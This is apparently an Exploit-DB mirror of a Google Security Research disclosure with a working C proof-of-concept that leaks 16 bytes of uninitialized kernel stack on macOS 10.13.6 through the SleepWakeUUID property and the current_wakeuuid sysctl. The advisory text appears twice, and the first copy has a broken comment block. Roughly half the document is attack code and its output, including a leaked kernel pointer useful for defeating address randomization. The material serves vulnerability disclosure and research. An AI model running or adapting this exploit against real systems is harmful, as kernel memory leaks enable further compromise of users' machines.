iOS/macOS 10.13.6 – ‘if_ports_used_update_wakeuuid()’ 16-byte Uninitialized Kernel Stack Disclosure

  • 作者: Google Security Research
    日期: 2019-01-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46285/
  • /*
    macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
    ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
    iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:
    
    	extern "C" bool
    	IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
    	{
    		if (!gSleepWakeUUIDIsSet) {
    			return (false);
    		}
    	
    		if (buffer != NULL) {
    			OSString *string;
    	
    			string = (OSString *)
    			gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
    	
    			if (string == NULL) {
    				*buffer = '\0';
    			} else {
    				strlcpy(buffer, string->getCStringNoCopy(), buf_len);
    	
    				string->release();
    			}
    		}
    	
    		return (true);
    	}
    
    This function is interesting because it copies a caller-specified amount of data from the
    "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
    to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
    out-of-bounds heap data will be copied into the caller's buffer.
    
    However, triggering this particular information leak is challenging, since the only caller is the
    function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
    leak:
    
    	void
    	if_ports_used_update_wakeuuid(struct ifnet *ifp)
    	{
    		uuid_t wakeuuid;							// (a) wakeuuid is uninitialized.
    		bool wakeuuid_is_set = false;
    		bool updated = false;
    	
    		if (__improbable(use_test_wakeuuid)) {
    			wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
    		} else {
    			uuid_string_t wakeuuid_str;
    	
    			wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str,	// (b) wakeuuid_str is controllable.
    			sizeof(wakeuuid_str));
    			if (wakeuuid_is_set) {
    				uuid_parse(wakeuuid_str, wakeuuid);			// (c) The return value of
    			}								// uuid_parse() is not checked.
    		}
    	
    		if (!wakeuuid_is_set) {
    			if (if_ports_used_verbose > 0) {
    				os_log_info(OS_LOG_DEFAULT,
    				"%s: SleepWakeUUID not set, "
    				"don't update the port list for %s\n",
    				__func__, ifp != NULL ? if_name(ifp) : "");
    			}
    			wakeuuid_not_set_count += 1;
    			if (ifp != NULL) {
    				microtime(&wakeuuid_not_set_last_time);
    				strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
    				sizeof(wakeuuid_not_set_last_if));
    			}	
    			return;
    		}
    	
    		lck_mtx_lock(&net_port_entry_head_lock);
    		if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {			// (e) These UUIDs will be different.
    			net_port_entry_list_clear();
    			uuid_copy(current_wakeuuid, wakeuuid);				// (f) Uninitialized stack garbage
    			updated = true;							// will be copied into a sysctl
    		}									// variable.
    		/* 
    		 * Record the time last checked
    		 
    		microuptime(&wakeuiid_last_check);
    		lck_mtx_unlock(&net_port_entry_head_lock);
    	
    		if (updated && if_ports_used_verbose > 0) {
    			uuid_string_t uuid_str;
    	
    			uuid_unparse(current_wakeuuid, uuid_str);
    			log(LOG_ERR, "%s: current wakeuuid %s\n",
    			__func__,
    			uuid_str);
    		}
    	}
    
    After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
    IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
    uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
    buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
    checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
    than a valid hexadecimal digit, we can get random stack garbage copied into the global
    current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
    its value can be read from userspace.
    
    Tested on macOS 10.13.6 17G2112:
    
    	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
    	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
    	1. Sleep the device.
    	2. Wake the device.
    	3. Press any key to continue.
    	
    	current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
    */
    
    /*
     * wakeuuid-leak.c
     * Brandon Azad (bazad@google.com)
     */
    
    #if 0
    iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid().
    
    macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
    ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
    iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:
    
    	extern "C" bool
    	IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
    	{
    		if (!gSleepWakeUUIDIsSet) {
    			return (false);
    		}
    	
    		if (buffer != NULL) {
    			OSString *string;
    	
    			string = (OSString *)
    			gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
    	
    			if (string == NULL) {
    				*buffer = '\0';
    			} else {
    				strlcpy(buffer, string->getCStringNoCopy(), buf_len);
    	
    				string->release();
    			}
    		}
    	
    		return (true);
    	}
    
    This function is interesting because it copies a caller-specified amount of data from the
    "SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
    to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
    out-of-bounds heap data will be copied into the caller's buffer.
    
    However, triggering this particular information leak is challenging, since the only caller is the
    function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
    leak:
    
    	void
    	if_ports_used_update_wakeuuid(struct ifnet *ifp)
    	{
    		uuid_t wakeuuid;							// (a) wakeuuid is uninitialized.
    		bool wakeuuid_is_set = false;
    		bool updated = false;
    	
    		if (__improbable(use_test_wakeuuid)) {
    			wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
    		} else {
    			uuid_string_t wakeuuid_str;
    	
    			wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str,	// (b) wakeuuid_str is controllable.
    			sizeof(wakeuuid_str));
    			if (wakeuuid_is_set) {
    				uuid_parse(wakeuuid_str, wakeuuid);			// (c) The return value of
    			}								// uuid_parse() is not checked.
    		}
    	
    		if (!wakeuuid_is_set) {
    			if (if_ports_used_verbose > 0) {
    				os_log_info(OS_LOG_DEFAULT,
    				"%s: SleepWakeUUID not set, "
    				"don't update the port list for %s\n",
    				__func__, ifp != NULL ? if_name(ifp) : "");
    			}
    			wakeuuid_not_set_count += 1;
    			if (ifp != NULL) {
    				microtime(&wakeuuid_not_set_last_time);
    				strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
    				sizeof(wakeuuid_not_set_last_if));
    			}	
    			return;
    		}
    	
    		lck_mtx_lock(&net_port_entry_head_lock);
    		if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {			// (e) These UUIDs will be different.
    			net_port_entry_list_clear();
    			uuid_copy(current_wakeuuid, wakeuuid);				// (f) Uninitialized stack garbage
    			updated = true;							// will be copied into a sysctl
    		}									// variable.
    		/* 
    		 * Record the time last checked
    		 */
    		microuptime(&wakeuiid_last_check);
    		lck_mtx_unlock(&net_port_entry_head_lock);
    	
    		if (updated && if_ports_used_verbose > 0) {
    			uuid_string_t uuid_str;
    	
    			uuid_unparse(current_wakeuuid, uuid_str);
    			log(LOG_ERR, "%s: current wakeuuid %s\n",
    			__func__,
    			uuid_str);
    		}
    	}
    
    After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
    IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
    uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
    buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
    checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
    than a valid hexadecimal digit, we can get random stack garbage copied into the global
    current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
    its value can be read from userspace.
    
    Tested on macOS 10.13.6 17G2112:
    
    	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
    	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
    	1. Sleep the device.
    	2. Wake the device.
    	3. Press any key to continue.
    	
    	current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
    #endif
    
    #include <errno.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    
    #include <IOKit/IOKitLib.h>
    #include <sys/sysctl.h>
    
    int
    main(int argc, const char *argv[]) {
    	CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID");
    	// First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid
    	// value.
    	io_service_t IOPMrootDomain = IOServiceGetMatchingService(
    			kIOMasterPortDefault,
    			IOServiceMatching("IOPMrootDomain"));
    	if (IOPMrootDomain == IO_OBJECT_NULL) {
    		printf("Error: Could not look up IOPMrootDomain\n");
    		return 1;
    	}
    	kern_return_t kr = IORegistryEntrySetCFProperty(
    			IOPMrootDomain,
    			kIOPMSleepWakeUUIDKey,
    			CFSTR(""));
    	if (kr != KERN_SUCCESS) {
    		printf("Error: Could not set SleepWakeUUID\n");
    		return 2;
    	}
    	// Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via
    	// IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and
    	// wake the device.
    	printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n");
    	getchar();
    	// Check that we successfully set an invalid UUID.
    	CFTypeRef value = IORegistryEntryCreateCFProperty(
    			IOPMrootDomain,
    			kIOPMSleepWakeUUIDKey,
    			kCFAllocatorDefault,
    			0);
    	if (!CFEqual(value, CFSTR(""))) {
    		printf("Error: SleepWakeUUID not set successfully\n");
    		return 3;
    	}
    	// Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the
    	// sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>.
    	size_t get_ports_used_mib_size = 5;
    	int get_ports_used_mib[get_ports_used_mib_size + 3];
    	int err = sysctlnametomib("net.link.generic.system.get_ports_used",
    			get_ports_used_mib, &get_ports_used_mib_size);
    	if (err != 0) {
    		return 4;
    	}
    	get_ports_used_mib[get_ports_used_mib_size++] = 1;	// ifindex
    	get_ports_used_mib[get_ports_used_mib_size++] = 0;	// protocol
    	get_ports_used_mib[get_ports_used_mib_size++] = 0;	// flags
    	uint8_t ports_used[65536 / 8];
    	size_t ports_used_size = sizeof(ports_used);
    	err = sysctl(get_ports_used_mib, get_ports_used_mib_size,
    			ports_used, &ports_used_size, NULL, 0);
    	if (err != 0) {
    		printf("Error: sysctl %s: errno %d\n",
    				"net.link.generic.system.get_ports_used", errno);
    		return 5;
    	}
    	// Finally retrieve the leak with sysctl
    	// net.link.generic.system.port_used.current_wakeuuid.
    	uint8_t current_wakeuuid[16];
    	size_t current_wakeuuid_size = sizeof(current_wakeuuid);
    	err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid",
    			current_wakeuuid, &current_wakeuuid_size, NULL, 0);
    	if (err != 0) {
    		printf("Error: sysctl %s: errno %d\n",
    				"net.link.generic.system.port_used.current_wakeuuid", errno);
    		return 6;
    	}
    	uint64_t *leak = (uint64_t *)current_wakeuuid;
    	printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]);
    	return 0;
    }